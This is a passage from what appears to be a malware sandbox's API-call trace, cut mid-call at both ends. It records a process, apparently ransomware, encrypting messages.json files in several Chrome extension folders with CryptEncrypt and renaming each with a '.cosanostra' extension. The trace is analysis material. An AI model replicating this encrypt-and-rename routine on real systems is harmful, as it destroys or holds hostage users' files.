dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.675] WriteFile (in: hFile=0x178, lpBuffer=0x26ffb34*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffaf4, lpOverlapped=0x0 | out: lpBuffer=0x26ffb34*, lpNumberOfBytesWritten=0x26ffaf4*=0x4, lpOverlapped=0x0) returned 1 [0085.675] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffaf4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffaf4*=0x30, lpOverlapped=0x0) returned 1 [0085.675] CloseHandle (hObject=0x178) returned 1 [0085.675] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json.cosanostra")) returned 1 [0085.677] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffb30 | out: pbBuffer=0x26ffb30) returned 1 [0085.677] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffb28*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffb28*=0x30) returned 1 [0085.677] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0085.678] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json") returned 155 [0085.678] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.678] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffff31, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.678] WriteFile (in: hFile=0x178, lpBuffer=0x3015df8*, nNumberOfBytesToWrite=0xcf, lpNumberOfBytesWritten=0x26ffaec, lpOverlapped=0x0 | out: lpBuffer=0x3015df8*, lpNumberOfBytesWritten=0x26ffaec*=0xcf, lpOverlapped=0x0) returned 1 [0085.679] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.679] WriteFile (in: hFile=0x178, lpBuffer=0x26ffb2c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffaec, lpOverlapped=0x0 | out: lpBuffer=0x26ffb2c*, lpNumberOfBytesWritten=0x26ffaec*=0x4, lpOverlapped=0x0) returned 1 [0085.679] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffaec, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffaec*=0x30, lpOverlapped=0x0) returned 1 [0085.679] CloseHandle (hObject=0x178) returned 1 [0085.679] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json.cosanostra")) returned 1 [0085.681] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffb28 | out: pbBuffer=0x26ffb28) returned 1 [0085.681] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffb20*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffb20*=0x30) returned 1 [0085.681] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0085.682] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json") returned 155 [0085.682] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.683] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xfffffef8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.683] WriteFile (in: hFile=0x178, lpBuffer=0x3015df8*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x26ffae4, lpOverlapped=0x0 | out: lpBuffer=0x3015df8*, lpNumberOfBytesWritten=0x26ffae4*=0x108, lpOverlapped=0x0) returned 1 [0085.683] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.683] WriteFile (in: hFile=0x178, lpBuffer=0x26ffb24*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffae4, lpOverlapped=0x0 | out: lpBuffer=0x26ffb24*, lpNumberOfBytesWritten=0x26ffae4*=0x4, lpOverlapped=0x0) returned 1 [0085.685] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffae4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffae4*=0x30, lpOverlapped=0x0) returned 1 [0085.685] CloseHandle (hObject=0x178) returned 1 [0085.686] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json.cosanostra")) returned 1 [0085.688] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffb20 | out: pbBuffer=0x26ffb20) returned 1 [0085.688] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffb18*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffb18*=0x30) returned 1 [0085.688] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0085.688] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json") returned 155 [0085.688] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.689] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffff0a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.689] WriteFile (in: hFile=0x178, lpBuffer=0x3015df8*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x26ffadc, lpOverlapped=0x0 | out: lpBuffer=0x3015df8*, lpNumberOfBytesWritten=0x26ffadc*=0xf6, lpOverlapped=0x0) returned 1 [0085.689] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.689] WriteFile (in: hFile=0x178, lpBuffer=0x26ffb1c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffadc, lpOverlapped=0x0 | out: lpBuffer=0x26ffb1c*, lpNumberOfBytesWritten=0x26ffadc*=0x4, lpOverlapped=0x0) returned 1 [0085.749] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffadc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffadc*=0x30, lpOverlapped=0x0) returned 1 [0085.749] CloseHandle (hObject=0x178) returned 1 [0085.749] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json.cosanostra")) returned 1 [0085.751] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffb18 | out: pbBuffer=0x26ffb18) returned 1 [0085.751] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffb10*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffb10*=0x30) returned 1 [0085.751] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0085.752] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json") returned 155 [0085.752] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.753] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffff26, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.753] WriteFile (in: hFile=0x178, lpBuffer=0x30135b0*, nNumberOfBytesToWrite=0xda, lpNumberOfBytesWritten=0x26ffad4, lpOverlapped=0x0 | out: lpBuffer=0x30135b0*, lpNumberOfBytesWritten=0x26ffad4*=0xda, lpOverlapped=0x0) returned 1 [0085.753] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.753] WriteFile (in: hFile=0x178, lpBuffer=0x26ffb14*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffad4, lpOverlapped=0x0 | out: lpBuffer=0x26ffb14*, lpNumberOfBytesWritten=0x26ffad4*=0x4, lpOverlapped=0x0) returned 1 [0085.753] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffad4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffad4*=0x30, lpOverlapped=0x0) returned 1 [0085.753] CloseHandle (hObject=0x178) returned 1 [0085.753] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json.cosanostra")) returned 1 [0085.755] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffb10 | out: pbBuffer=0x26ffb10) returned 1 [0085.755] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffb08*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffb08*=0x30) returned 1 [0085.755] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0085.755] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json") returned 155 [0085.755] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.756] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xfffffef2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.756] WriteFile (in: hFile=0x178, lpBuffer=0x30135b0*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x26ffacc, lpOverlapped=0x0 | out: lpBuffer=0x30135b0*, lpNumberOfBytesWritten=0x26ffacc*=0x10e, lpOverlapped=0x0) returned 1 [0085.756] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.756] WriteFile (in: hFile=0x178, lpBuffer=0x26ffb0c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffacc, lpOverlapped=0x0 | out: lpBuffer=0x26ffb0c*, lpNumberOfBytesWritten=0x26ffacc*=0x4, lpOverlapped=0x0) returned 1 [0085.757] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffacc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffacc*=0x30, lpOverlapped=0x0) returned 1 [0085.757] CloseHandle (hObject=0x178) returned 1 [0085.757] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json.cosanostra")) returned 1 [0085.758] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffb08 | out: pbBuffer=0x26ffb08) returned 1 [0085.759] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffb00*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffb00*=0x30) returned 1 [0085.759] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0085.759] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json") returned 155 [0085.759] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.760] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffff23, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.760] WriteFile (in: hFile=0x178, lpBuffer=0x30135b0*, nNumberOfBytesToWrite=0xdd, lpNumberOfBytesWritten=0x26ffac4, lpOverlapped=0x0 | out: lpBuffer=0x30135b0*, lpNumberOfBytesWritten=0x26ffac4*=0xdd, lpOverlapped=0x0) returned 1 [0085.760] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.760] WriteFile (in: hFile=0x178, lpBuffer=0x26ffb04*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffac4, lpOverlapped=0x0 | out: lpBuffer=0x26ffb04*, lpNumberOfBytesWritten=0x26ffac4*=0x4, lpOverlapped=0x0) returned 1 [0085.761] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffac4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffac4*=0x30, lpOverlapped=0x0) returned 1 [0085.761] CloseHandle (hObject=0x178) returned 1 [0085.761] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json.cosanostra")) returned 1 [0085.763] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffb00 | out: pbBuffer=0x26ffb00) returned 1 [0085.763] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffaf8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffaf8*=0x30) returned 1 [0085.763] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0085.764] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json") returned 155 [0085.764] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.765] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xfffffefc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.765] WriteFile (in: hFile=0x178, lpBuffer=0x30135b0*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x26ffabc, lpOverlapped=0x0 | out: lpBuffer=0x30135b0*, lpNumberOfBytesWritten=0x26ffabc*=0x104, lpOverlapped=0x0) returned 1 [0085.765] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.765] WriteFile (in: hFile=0x178, lpBuffer=0x26ffafc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffabc, lpOverlapped=0x0 | out: lpBuffer=0x26ffafc*, lpNumberOfBytesWritten=0x26ffabc*=0x4, lpOverlapped=0x0) returned 1 [0085.765] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffabc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffabc*=0x30, lpOverlapped=0x0) returned 1 [0085.765] CloseHandle (hObject=0x178) returned 1 [0085.766] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json.cosanostra")) returned 1 [0085.768] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffaf8 | out: pbBuffer=0x26ffaf8) returned 1 [0085.768] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffaf0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffaf0*=0x30) returned 1 [0085.768] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0085.769] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json") returned 155 [0085.769] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.770] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffff1e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.770] WriteFile (in: hFile=0x178, lpBuffer=0x30135b0*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x26ffab4, lpOverlapped=0x0 | out: lpBuffer=0x30135b0*, lpNumberOfBytesWritten=0x26ffab4*=0xe2, lpOverlapped=0x0) returned 1 [0085.770] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.770] WriteFile (in: hFile=0x178, 